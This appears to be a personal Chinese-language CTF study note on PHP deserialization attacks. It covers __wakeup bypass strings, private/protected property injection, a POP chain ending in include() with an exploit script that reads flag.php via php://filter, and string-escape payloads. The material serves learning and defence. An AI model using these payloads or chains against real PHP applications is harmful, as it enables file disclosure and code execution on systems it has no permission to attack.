PHP序列化与反序列化
这是我一直不太会的一部分,包括POP链和字符串逃逸问题。
PHP反序列化概念
序列化:
- serialize() 将对象转变成一个字符串便于之后的传递与使用。
- 序列化会保存对象所有的变量,但是不会保存对象的方法。
反序列化:
- unserialize() 将序列化的结果恢复成对象。
- 反序列化一个对象,这个对象的类必须在反序列化之前定义,或者通过包含该类的定义或者使用 spl_autoload_register() (自动包含类)实现
实例
<?php
class man{
public $name;
public $age;
public $height;
function __construct($name,$age,$height){ //_construct:创建对象时初始化
$this->name = $name;
$this->age = $age;
$this->height = $height;
}
}
$man=new man("Bob",5,20);
var_dump(serialize($man));
$man_un= 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;s:6:"height";i:20;}';
var_dump(unserialize($man_un));
?>
输出:
"O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;s:6:"height";i:20;}"
object(man)#1 (3) {
["name"]=>
string(3) "Bob"
["age"]=>
int(5)
["height"]=>
int(20)
}
反序列化漏洞
两个条件:
unserialize()函数的参数可控
-
php中有可以利用的类并且类中有魔幻函数
_construct():创建对象时初始化
_destruction():结束时销毁对象
_toString():对象被当作字符串时使用
_sleep():序列化对象之前调用
_wakeup():反序列化之前调用
_call():调用对象不存在时使用
_get():调用私有属性时使用
考点:
-
绕过_wakeup()
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
- 构造序列化对象:
O:5:"SoFun":1:{s:4:"file";s:8:"flag.php";}
- 构造绕过__wakeup:
O:5:"SoFun":2:{s:4:"file";s:8:"flag.php";}
- 构造序列化对象:
-
注入对象构造方法
当目标对象被private、protected修饰时的构造方法
- private:
O:1:"A":1:{s:9:"%00A%00target";s:12:"payload";}
(%00类名%00) - protected:
O:1:"A":1:{s:9:"%00*%00target";s:12:"payload";}
- private:
-
绕过正则
O:4
用O:+4
绕过
POP链
普通的序列化攻击多是在魔术方法中出现一些利用的漏洞,自动调用从而触发漏洞。但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
可以看到有三个类,包含很多魔术函数:
-
_construct
当一个对象创建时被调用, -
_toString
当一个对象被当作一个字符串被调用。 -
_wakeup()
使用unserialize时触发 -
_get()
用于从不可访问的属性读取数据 (包括:(1)私有属性,(2)没有初始化的属性) -
_invoke()
当脚本尝试将对象调用为函数时触发
POP链的开始是Show类开始,到Modifier类结束,更准确的说应该是到__invoke()
结束。分析流程如下:
- f按序列化操作首先触发了
_wakeup()
方法,通过preg_match()
将$this->source
做字符串比较,如果$this->source
不是字符串是Show类,就会调用了__toString()
方法; -
_toString()
访问了str的source属性,如果str是Test类,则不存在source属性,所以调用了Test类的_get()
魔术方法; -
_get()
方法将对象p作为函数使用,p实例化为Modify类,就调用了Modifier的__invoke()
方法;
最后是利用Modeifier类的include()函数。
#y1ng师傅的脚本,有些地方还是不太清楚之后再看看,慢慢理解
<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->str = new Test();
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show();
$b = new Show();
$b->source=$a;
$b->str="";
var_dump(urlencode(serialize($b)));
字符串逃逸
字符逃逸某种角度上和sql注入类似,都是通过构造闭合的方式构造payload,只不过字符逃逸构造闭合注意点在长度,因为闭合标志固定,都是;}
前面提到在unserialize的时候, 当你的字符串长度与所描述的长度不一样时就会报错.比如 s:3:"Tom"变成s:4:"Tom"或s:2:"Tom"就会报错. 可以通过拼接字符串的方式来使它不报错,这类题目一般都会有一个字符串替换的过程。
字符变多
可以看到name的值变为llonmar,长度就变成7了,所以反序列的时候会报错。
这种字符增多是反序列化失败是因为漏读了字符串的value,如果构造恶意的value,再故意漏读
如令$name='lonmar";s:3:"age";s:2:"35";}'
如果再进行替换,lonmar=>llonmar
,后面的}又读不到
可以设计合适的l的个数,使得替换后的词(eg. llllllllonmar)和构造的$name的值的长度一样,这样后面的;s:3:“age”;s:2:“35”;}
就逃逸掉了,逃逸掉的字符串可以把原来后面的正常序列化数据提前闭合掉.
;s:3:"age";s:2:"35";}
长度是22 , 所以只需要22个l
class person{
public $name = 'llllllllllllllllllllllonmar";s:3:"age";s:2:"35";}';
public $age = '100';
}
可以观察到age变成了35, name不是llllllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:2:"35";}
而是llllllllllllllllllllllllllllllllllllllllllllonmar
。因为;s:3:“age”;s:2:“35”;}
逃逸,之后终止标志变成了;s:3:“age”;s:2:“35”;}
里的;}
后面的就被忽略了。
字符减少
字符减少,反序列化的时候就会多读,同样的,如果构造恶意的age,让反序列化的时候多读,把age一部分读进去 同样可以达到某种目的。
<?php
highlight_file(__file__);
function filter($str){
return str_replace('ll', 'l', $str);
}
class person{
public $name = 'lonmar';
public $age = '100';
}
正常的数据O:6:"person":2:{s:4:"name";s:6:"lonmar";s:3:"age";s:3:"xxx";}
如果做替换,让也";s:3:"age";s:3:"
被读进name,再把xxx替换为;s:3:“age”;s:3:“100”;}
令$age=123";s:3:"age";s:3:"100";}
O:6:"person":2:{s:4:"name";s:47:"llllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:26:"123";s:3:"age";s:3:"111";}";}
多读的为 ";s:3:"age";s:26:"123
长度 21
构造(l*42)nmar, 就多吞了部分字符串
name:
llllllllllllllllllllllllllllllllllllllllllonmar => lllllllllllllllllllllonmar";s:3:"age";s:26:"123
-
age:
123";s:3:"age";s:3:"111";}=>111
参考资料
https://blog.csdn.net/weixin_44677409/article/details/93884388
https://www.freebuf.com/articles/web/221213.html
https://www.freebuf.com/articles/web/209975.html
https://blog.csdn.net/weixin_45551083/article/details/111085944